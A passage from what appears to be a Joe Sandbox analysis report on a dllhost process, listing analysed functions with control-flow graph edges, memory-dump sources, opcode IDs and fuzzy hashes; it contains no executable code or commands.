                                                                                                                                        • Instruction Fuzzy Hash: A4918130B18A1E8FDB98DB58C8999B9B3F2FF55354B148169D04EC72A6DF35AC42CB40
                                                                                                                                        Function 00007FFD9C078C86 Relevance: .3, Instructions: 275COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 2114 7ffd9c078c86-7ffd9c078d1e 2120 7ffd9c078d7c-7ffd9c078d9a 2114->2120 2121 7ffd9c078cbb-7ffd9c078d20 2114->2121 2126 7ffd9c078d27-7ffd9c078d75 2120->2126 2125 7ffd9c078cc4-7ffd9c078cc6 2121->2125 2121->2126 2125->2126 2129 7ffd9c078cc8-7ffd9c078ccc 2125->2129 2126->2120 2129->2126 2131 7ffd9c078cce-7ffd9c078cd1 2129->2131 2133 7ffd9c078d03-7ffd9c078d1d 2131->2133 2134 7ffd9c078cd3-7ffd9c078cdc 2131->2134 2135 7ffd9c078ce2-7ffd9c078d01 2134->2135 2136 7ffd9c078d9c-7ffd9c078de0 2134->2136 2135->2133 2142 7ffd9c078de2-7ffd9c078ebe 2136->2142 2143 7ffd9c078e0f-7ffd9c078ee7 call 7ffd9c073228 2136->2143 2148 7ffd9c078e03-7ffd9c078e0b 2142->2148 2169 7ffd9c078e34-7ffd9c078e47 2143->2169 2151 7ffd9c078e72-7ffd9c078e75 call 7ffd9c073a20 2148->2151 2152 7ffd9c078e0d-7ffd9c078e0e 2148->2152 2156 7ffd9c078e7a-7ffd9c078e7c 2151->2156 2152->2143 2156->2148 2157 7ffd9c078e7e-7ffd9c078e7f 2156->2157 2160 7ffd9c078e81-7ffd9c078e89 2157->2160 2161 7ffd9c078e8b-7ffd9c078e8f 2160->2161 2162 7ffd9c078e95-7ffd9c078ea7 2160->2162 2161->2148 2161->2162 2167 7ffd9c078eae-7ffd9c078ebd 2162->2167 2168 7ffd9c078ea9 2162->2168 2168->2167 2169->2151 2170 7ffd9c078e49-7ffd9c078e52 2169->2170 2170->2160 2171 7ffd9c078e54-7ffd9c078e5b 2170->2171 2172 7ffd9c078e62-7ffd9c078e71 2171->2172 2173 7ffd9c078e5d 2171->2173 2173->2172
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: dca2159cc41755f3a3cfcf43de3e73fc82331b84ab6072948bcd56aa13c34a6f
                                                                                                                                        • Instruction ID: 1f15655903b8375f339386f88d47292b12fb8e131be9a1c8d4eade01ffa97950
                                                                                                                                        • Opcode Fuzzy Hash: dca2159cc41755f3a3cfcf43de3e73fc82331b84ab6072948bcd56aa13c34a6f
                                                                                                                                        • Instruction Fuzzy Hash: 05811231B0CA474FE73D9AA898664B577F0EF95390F1406BED48EDB183DB28B8029751
                                                                                                                                        Function 00007FFD9C298737 Relevance: .3, Instructions: 256COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 2174 7ffd9c298737-7ffd9c29873a 2175 7ffd9c2987b6-7ffd9c2987b9 2174->2175 2176 7ffd9c29873c 2174->2176 2179 7ffd9c298835 2175->2179 2180 7ffd9c2987bb 2175->2180 2177 7ffd9c29873e-7ffd9c298741 2176->2177 2178 7ffd9c298783-7ffd9c29878e 2176->2178 2184 7ffd9c2987b2-7ffd9c2987b3 2177->2184 2185 7ffd9c298743-7ffd9c298746 2177->2185 2183 7ffd9c29878f-7ffd9c2987a9 2178->2183 2186 7ffd9c2988b6-7ffd9c2988ba 2179->2186 2187 7ffd9c298836 2179->2187 2181 7ffd9c2987bd-7ffd9c2987c1 2180->2181 2182 7ffd9c298802-7ffd9c298817 2180->2182 2188 7ffd9c2987c2-7ffd9c2987c5 2181->2188 2207 7ffd9c29881a-7ffd9c298824 2182->2207 2183->2207 2210 7ffd9c2987ab-7ffd9c2987ad 2183->2210 2191 7ffd9c29882f 2184->2191 2192 7ffd9c2987b4 2184->2192 2185->2188 2193 7ffd9c298748 2185->2193 2189 7ffd9c2988bc 2186->2189 2190 7ffd9c2988c1-7ffd9c2988d3 2186->2190 2194 7ffd9c298837-7ffd9c29883c 2187->2194 2195 7ffd9c29887d-7ffd9c29888f 2187->2195 2196 7ffd9c2987c6-7ffd9c2987d8 2188->2196 2189->2190 2199 7ffd9c2988a0 2191->2199 2200 7ffd9c298830-7ffd9c298831 2191->2200 2201 7ffd9c298825-7ffd9c298828 2192->2201 2202 7ffd9c2987b5 2192->2202 2193->2183 2203 7ffd9c29874a-7ffd9c298755 2193->2203 2204 7ffd9c29883e-7ffd9c298853 2194->2204 2213 7ffd9c298895 2195->2213 2221 7ffd9c2987dc-7ffd9c2987e4 2196->2221 2205 7ffd9c29882d-7ffd9c29882e 2199->2205 2206 7ffd9c2988a1-7ffd9c2988a3 2199->2206 2211 7ffd9c298832-7ffd9c298834 2200->2211 2208 7ffd9c298829 2201->2208 2209 7ffd9c2988a4-7ffd9c2988a9 2201->2209 2202->2175 2203->2196 2212 7ffd9c298757-7ffd9c29875b 2203->2212 2224 7ffd9c298856-7ffd9c29885f 2204->2224 2205->2191 2217 7ffd9c2988aa 2205->2217 2206->2209 2207->2201 2207->2213 2208->2217 2218 7ffd9c29882a 2208->2218 2209->2217 2210->2208 2219 7ffd9c2987af 2210->2219 2211->2179 2220 7ffd9c2988b0 2211->2220 2212->2221 2222 7ffd9c29875d-7ffd9c298760 2212->2222 2214 7ffd9c2988ac-7ffd9c2988ad 2213->2214 2214->2220 2217->2214 2225 7ffd9c298905-7ffd9c298909 2217->2225 2228 7ffd9c29882b-7ffd9c29882c 2218->2228 2229 7ffd9c298871-7ffd9c298876 2218->2229 2232 7ffd9c2987f6 2219->2232 2233 7ffd9c2987b1 2219->2233 2230 7ffd9c298897-7ffd9c29889e 2220->2230 2231 7ffd9c2988b2 2220->2231 2226 7ffd9c2987e5 2221->2226 2227 7ffd9c298860-7ffd9c298864 2221->2227 2222->2221 2223 7ffd9c298762-7ffd9c298767 2222->2223 2234 7ffd9c2987e8-7ffd9c2987e9 2223->2234 2235 7ffd9c298769-7ffd9c298781 2223->2235 2224->2227 2226->2224 2236 7ffd9c2987e6-7ffd9c2987e7 2226->2236 2237 7ffd9c298865-7ffd9c298866 2227->2237 2228->2205 2240 7ffd9c298877-7ffd9c29887c 2229->2240 2230->2199 2238 7ffd9c2988e1 2231->2238 2239 7ffd9c2988b4 2231->2239 2232->2240 2241 7ffd9c2987f7 2232->2241 2233->2184 2234->2237 2243 7ffd9c2987ea 2234->2243 2235->2178 2236->2234 2247 7ffd9c29886b-7ffd9c29886d 2237->2247 2238->2225 2239->2186 2240->2195 2241->2204 2244 7ffd9c2987f8-7ffd9c298801 2241->2244 2243->2247 2248 7ffd9c2987eb 2243->2248 2244->2182 2247->2229 2248->2211 2249 7ffd9c2987ec-7ffd9c2987ef 2248->2249 2249->2247 2250 7ffd9c2987f1-7ffd9c2987f5 2249->2250 2250->2229 2250->2232
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: d644e92fb7db92d95e81ae692d5ebaac63c0fa7014381b9c116844822fc97df5
                                                                                                                                        • Instruction ID: 4ef4ec8c64cd4f709c25fca9c92c290c2edcc15a01224f10da3e40adc966c31b
                                                                                                                                        • Opcode Fuzzy Hash: d644e92fb7db92d95e81ae692d5ebaac63c0fa7014381b9c116844822fc97df5
                                                                                                                                        • Instruction Fuzzy Hash: 1871F735B0C94F8FE7B8DA58C9665B537E0FF44390F0802B9E45EC7792DE28A8168791
                                                                                                                                        Function 00007FFD9C076BA7 Relevance: .3, Instructions: 251COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 2251 7ffd9c076ba7-7ffd9c076baa 2252 7ffd9c076bac 2251->2252 2253 7ffd9c076c26-7ffd9c076c29 2251->2253 2254 7ffd9c076bf3-7ffd9c076bfe 2252->2254 2255 7ffd9c076bae-7ffd9c076bb1 2252->2255 2256 7ffd9c076c2b 2253->2256 2257 7ffd9c076ca5 2253->2257 2258 7ffd9c076bff-7ffd9c076c19 2254->2258 2259 7ffd9c076bb3-7ffd9c076bb6 2255->2259 2260 7ffd9c076c22-7ffd9c076c23 2255->2260 2263 7ffd9c076c72-7ffd9c076c87 2256->2263 2264 7ffd9c076c2d-7ffd9c076c31 2256->2264 2261 7ffd9c076d26-7ffd9c076d2a 2257->2261 2262 7ffd9c076ca6 2257->2262 2282 7ffd9c076c8a-7ffd9c076c94 2258->2282 2285 7ffd9c076c1b-7ffd9c076c1d 2258->2285 2265 7ffd9c076c32-7ffd9c076c35 2259->2265 2268 7ffd9c076bb8 2259->2268 2269 7ffd9c076c24 2260->2269 2270 7ffd9c076c9f 2260->2270 2266 7ffd9c076d31-7ffd9c076d43 2261->2266 2267 7ffd9c076d2c 2261->2267 2271 7ffd9c076ced-7ffd9c076cff 2262->2271 2272 7ffd9c076ca7-7ffd9c076cac 2262->2272 2263->2282 2264->2265 2274 7ffd9c076c36-7ffd9c076c48 2265->2274 2267->2266 2268->2258 2278 7ffd9c076bba-7ffd9c076bc5 2268->2278 2279 7ffd9c076c95-7ffd9c076c98 2269->2279 2280 7ffd9c076c25 2269->2280 2276 7ffd9c076d10 2270->2276 2277 7ffd9c076ca0-7ffd9c076ca1 2270->2277 2287 7ffd9c076d05 2271->2287 2281 7ffd9c076cae-7ffd9c076cc3 2272->2281 2298 7ffd9c076c4c-7ffd9c076c54 2274->2298 2289 7ffd9c076d11-7ffd9c076d13 2276->2289 2290 7ffd9c076c9d-7ffd9c076c9e 2276->2290 2286 7ffd9c076ca2-7ffd9c076ca4 2277->2286 2278->2274 2288 7ffd9c076bc7-7ffd9c076bcb 2278->2288 2283 7ffd9c076d14-7ffd9c076d19 2279->2283 2284 7ffd9c076c99 2279->2284 2280->2253 2299 7ffd9c076cc6-7ffd9c076ccd 2281->2299 2282->2279 2282->2287 2292 7ffd9c076d1a 2283->2292 2284->2292 2294 7ffd9c076c9a 2284->2294 2285->2284 2295 7ffd9c076c1f 2285->2295 2286->2257 2296 7ffd9c076d1c-7ffd9c076d22 2287->2296 2297 7ffd9c076bcd-7ffd9c076bd0 2288->2297 2288->2298 2289->2283 2290->2270 2290->2292 2292->2296 2300 7ffd9c076d75-7ffd9c076d76 2292->2300 2305 7ffd9c076ce1-7ffd9c076ce6 2294->2305 2306 7ffd9c076c9b-7ffd9c076c9c 2294->2306 2307 7ffd9c076c21 2295->2307 2308 7ffd9c076c66 2295->2308 2301 7ffd9c076d24 2296->2301 2302 7ffd9c076d51 2296->2302 2297->2298 2309 7ffd9c076bd2-7ffd9c076bd7 2297->2309 2303 7ffd9c076cd0-7ffd9c076cd4 2298->2303 2304 7ffd9c076c55 2298->2304 2299->2303 2301->2261 2302->2300 2313 7ffd9c076cd5 2303->2313 2304->2299 2314 7ffd9c076c56-7ffd9c076c57 2304->2314 2315 7ffd9c076ce7-7ffd9c076cec 2305->2315 2306->2290 2307->2260 2308->2315 2316 7ffd9c076c67 2308->2316 2310 7ffd9c076bd9-7ffd9c076bf1 2309->2310 2311 7ffd9c076c58-7ffd9c076c59 2309->2311 2310->2254 2311->2313 2317 7ffd9c076c5a 2311->2317 2320 7ffd9c076cdb-7ffd9c076cdd 2313->2320 2314->2311 2315->2271 2316->2281 2318 7ffd9c076c68-7ffd9c076c71 2316->2318 2317->2320 2321 7ffd9c076c5b 2317->2321 2318->2263 2320->2305 2321->2286 2322 7ffd9c076c5c-7ffd9c076c5f 2321->2322 2322->2320 2323 7ffd9c076c61-7ffd9c076c65 2322->2323 2323->2305 2323->2308
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 7457ff0d9688bf5e725a7a1453dd1fcc83ef873eab87a797baf595a3ee240407
                                                                                                                                        • Instruction ID: 310c89672e63fb281193a8e5ba8ddd00bf91c4ca4f7b6d3cd65a416c8d44cc9b
                                                                                                                                        • Opcode Fuzzy Hash: 7457ff0d9688bf5e725a7a1453dd1fcc83ef873eab87a797baf595a3ee240407
                                                                                                                                        • Instruction Fuzzy Hash: 2A71C231B0C94B8FEB7CDA588C665B437E0FF49350F1402B9D49FC75A2DF18A8169681
                                                                                                                                        Function 00007FFD9C077989 Relevance: .2, Instructions: 243COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 2324 7ffd9c077989-7ffd9c07799d 2326 7ffd9c0779a3-7ffd9c0779ad 2324->2326 2327 7ffd9c077c78-7ffd9c077cd8 2324->2327 2328 7ffd9c0779af-7ffd9c0779c4 2326->2328 2329 7ffd9c0779c6-7ffd9c077a23 2326->2329 2335 7ffd9c077d19-7ffd9c077dba call 7ffd9c076970 2327->2335 2336 7ffd9c077cda-7ffd9c077d01 call 7ffd9c076030 2327->2336 2328->2329 2352 7ffd9c077a88-7ffd9c077a9a 2329->2352 2353 7ffd9c077a25-7ffd9c077a31 2329->2353 2357 7ffd9c077dbc-7ffd9c077dd3 2335->2357 2336->2335 2346 7ffd9c077cf3-7ffd9c077cf8 2336->2346 2359 7ffd9c077aa0-7ffd9c077ab6 2352->2359 2360 7ffd9c077c5a-7ffd9c077c63 2352->2360 2353->2352 2361 7ffd9c077dd9-7ffd9c077ddd 2357->2361 2359->2360 2367 7ffd9c077abc-7ffd9c077ad0 2359->2367 2360->2327 2367->2360
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 5131d37a92f1c38de1be05e8ef7bb1c42e9bf0d8662ee1e98c061d3fb75f9dcf
                                                                                                                                        • Instruction ID: 32ee84439d9e13f74d79c2e5a947d3d5d57454187c42d584895a10adfb9718ef
                                                                                                                                        • Opcode Fuzzy Hash: 5131d37a92f1c38de1be05e8ef7bb1c42e9bf0d8662ee1e98c061d3fb75f9dcf
                                                                                                                                        • Instruction Fuzzy Hash: 23818131B1D68A8FDB5ADB68C8746B87BF1EF55340F0901FAD04DC71A2DB28A805D751
                                                                                                                                        Function 00007FFD9C072AF7 Relevance: .2, Instructions: 175COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: a948fb09d3b69168cf9d96563990b2b1e80420b5adc23bc5a58ddeea3017fe2d
                                                                                                                                        • Instruction ID: b7295b2c6ec6b77235c6fec32f4fda8840679103698234eb2b2bc9ad5049d67b
                                                                                                                                        • Opcode Fuzzy Hash: a948fb09d3b69168cf9d96563990b2b1e80420b5adc23bc5a58ddeea3017fe2d
                                                                                                                                        • Instruction Fuzzy Hash: 0B511630B0C96B4AE77CA6685834AF877A1FF54350F0442FAE05E871C7DE397985A781
                                                                                                                                        Function 00007FFD9B98090D Relevance: .2, Instructions: 172COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 3ad87a48d9a506baac896edbe5d9eec809267f16781aeacbfc559cdf328505d9
                                                                                                                                        • Instruction ID: ed037d0e5526db8523f12cfb12d72cc79d5b08c2886f42ebf84f36260e93e438
                                                                                                                                        • Opcode Fuzzy Hash: 3ad87a48d9a506baac896edbe5d9eec809267f16781aeacbfc559cdf328505d9
                                                                                                                                        • Instruction Fuzzy Hash: 2A51A231A1856D9FDB54FBA8E4A5AECBBA0FF48314F00017AD01ED7296DF34A841C780
                                                                                                                                        Function 00007FFD9B980910 Relevance: .2, Instructions: 170COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: f82be8540e97ca97da4ed330f2cda7e10b043b078dd94046eb720bf30fffaa63
                                                                                                                                        • Instruction ID: 6c1ea72b79859dba8296d19300e47d541841952aa62d04c8bc82f9f92cee2644
                                                                                                                                        • Opcode Fuzzy Hash: f82be8540e97ca97da4ed330f2cda7e10b043b078dd94046eb720bf30fffaa63
                                                                                                                                        • Instruction Fuzzy Hash: F4519131A1856D9FDB54FBA8E4A5AECBBA0FF48314F04017AD01ED7296DF356841C780
                                                                                                                                        Function 00007FFD9C290C8D Relevance: .1, Instructions: 145COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: b56fcbde81596026ea54a181755f0ecd7753d3a055a11a21c006571ce160b571
                                                                                                                                        • Instruction ID: 6ad4fe27d2243473fbb7592ea37aba0e5a05a97e37ec08677f687b83af10c790
                                                                                                                                        • Opcode Fuzzy Hash: b56fcbde81596026ea54a181755f0ecd7753d3a055a11a21c006571ce160b571
                                                                                                                                        • Instruction Fuzzy Hash: 6E51D731A0D64A8FD758DB58C9656FA7BB1EF49340F2400BAD45ADB3D2CE392845CB81
                                                                                                                                        Function 00007FFD9B980960 Relevance: .1, Instructions: 138COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: fc1f9f05c0a091fa5d1dce716c68d93765c997307880f838337d15696fe2cc38
                                                                                                                                        • Instruction ID: 5facffc377dab285abedae89a9ea72762fde2aa376e2c3d3eccc200c6011f9ad
                                                                                                                                        • Opcode Fuzzy Hash: fc1f9f05c0a091fa5d1dce716c68d93765c997307880f838337d15696fe2cc38
                                                                                                                                        • Instruction Fuzzy Hash: C9418E31A1892D9FDB98FF98D4A5AEDB7E1FF58314F00017AD41ED3296CE35A8418B80
                                                                                                                                        Function 00007FFD9B980908 Relevance: .1, Instructions: 133COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: fa2e1b014ea42496c19f62d066221123304a33a84e0a22c2636fd5267684bc79
                                                                                                                                        • Instruction ID: 62936f0fdccefeb6e0d35f083b580c83f40c9ec48c544da6200d18a3a5563577
                                                                                                                                        • Opcode Fuzzy Hash: fa2e1b014ea42496c19f62d066221123304a33a84e0a22c2636fd5267684bc79
                                                                                                                                        • Instruction Fuzzy Hash: 59518B30A1590E9FCF84EF98D484EEDBBF1FF68354B15016AE419E7260DA34E990CB90
                                                                                                                                        Function 00007FFD9C0775FA Relevance: .1, Instructions: 124COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 38872cabcdcca9c4c8de0dc6da684384a3db70d557c3de1f40045064bbc5d004
                                                                                                                                        • Instruction ID: 24874b768796978e91c658ddadf4c3e59174ff084b0b6ca5d540402b59e9a9be
                                                                                                                                        • Opcode Fuzzy Hash: 38872cabcdcca9c4c8de0dc6da684384a3db70d557c3de1f40045064bbc5d004
                                                                                                                                        • Instruction Fuzzy Hash: 80418B71F1890B8EEBA9AB9CD8759EC7BF1FF44380F500079D41E9329ADB256841A740
                                                                                                                                        Function 00007FFD9C07682C Relevance: .1, Instructions: 120COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 496139736afbfa60fc777c491706128177c675453b2604ecffcb04dd6de1b6ad
                                                                                                                                        • Instruction ID: cbd1ff9ef3a2e0a03951b8ac1fd76e3f29e9fbaa104cf7fee77f38f25a22a880
                                                                                                                                        • Opcode Fuzzy Hash: 496139736afbfa60fc777c491706128177c675453b2604ecffcb04dd6de1b6ad
                                                                                                                                        • Instruction Fuzzy Hash: 3D41123164E3C94FE75B93649C65AE53FB0EF83364F0841EAE08ACB0A3D6995416C752
                                                                                                                                        Function 00007FFD9B980998 Relevance: .1, Instructions: 114COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 9a39a3347bf5322b3c0b771e940a77d2edbc58fda1b2f07036a141d1b90b4431
                                                                                                                                        • Instruction ID: 6c99b567463c637592c973061921392d09a035d0bf1ccbff96878b470958afc8
                                                                                                                                        • Opcode Fuzzy Hash: 9a39a3347bf5322b3c0b771e940a77d2edbc58fda1b2f07036a141d1b90b4431
                                                                                                                                        • Instruction Fuzzy Hash: 7841F930A1495D9FDB94EF98C8A5AEDBBF1FF58305F01017AE41DE3295DB34A9418B80
                                                                                                                                        Function 00007FFD9C07773A Relevance: .1, Instructions: 109COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: ed684fd5bae1ea5c10d23f0c37c98a4c4668ead8636868b3575c6caa9df8f61b
                                                                                                                                        • Instruction ID: 13ae104c25ec3987e508c1e3333f3fb1b470f181902597ca7bab57a7636f1e28
                                                                                                                                        • Opcode Fuzzy Hash: ed684fd5bae1ea5c10d23f0c37c98a4c4668ead8636868b3575c6caa9df8f61b
                                                                                                                                        • Instruction Fuzzy Hash: A931ED12A0EAC60EE76B57789C745A53FF19F93280F4D01FAD09D8B0D7DA0DA909C352
                                                                                                                                        Function 00007FFD9C29B109 Relevance: .1, Instructions: 99COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: defc0d38995f003730cd1bd35d5ccf75a6dee4aafe4374cfea46ab7ba022005c
                                                                                                                                        • Instruction ID: 404efe34ad2a119171c75b31b4a0f71a3d38024cbc3f52cfd5670e44f9a7d6ca
                                                                                                                                        • Opcode Fuzzy Hash: defc0d38995f003730cd1bd35d5ccf75a6dee4aafe4374cfea46ab7ba022005c
                                                                                                                                        • Instruction Fuzzy Hash: C131DB70E1891E9FDFA8DB58D465AA9B7B1FF58340F0001AAD01EE3291DE35A980CB40
                                                                                                                                        Function 00007FFD9C29C848 Relevance: .1, Instructions: 97COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: a6b8238dff25877b0fc5b5e663b5347947a76dd1a61e77b3dfaacef86a6980e2
                                                                                                                                        • Instruction ID: 9562bd66e9fae08b06ef5641ec18714b16a7fb264f1c4f50a8fa6bf22b765000
                                                                                                                                        • Opcode Fuzzy Hash: a6b8238dff25877b0fc5b5e663b5347947a76dd1a61e77b3dfaacef86a6980e2
                                                                                                                                        • Instruction Fuzzy Hash: 47319F71B1D90A9FEB58DB9CC4619B8B3B1FF89350B104179D05EC7692DF24BC128B81
                                                                                                                                        Function 00007FFD9C07686A Relevance: .1, Instructions: 96COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 32bdbafbfb41b9735dcc5940b8478034e59fe6dbc4001de5f4c6a3c42a8241a1
                                                                                                                                        • Instruction ID: f593db88f76f5fb34132db30160297c88c07a8c83aa6650f2aee19ef1eed7a00
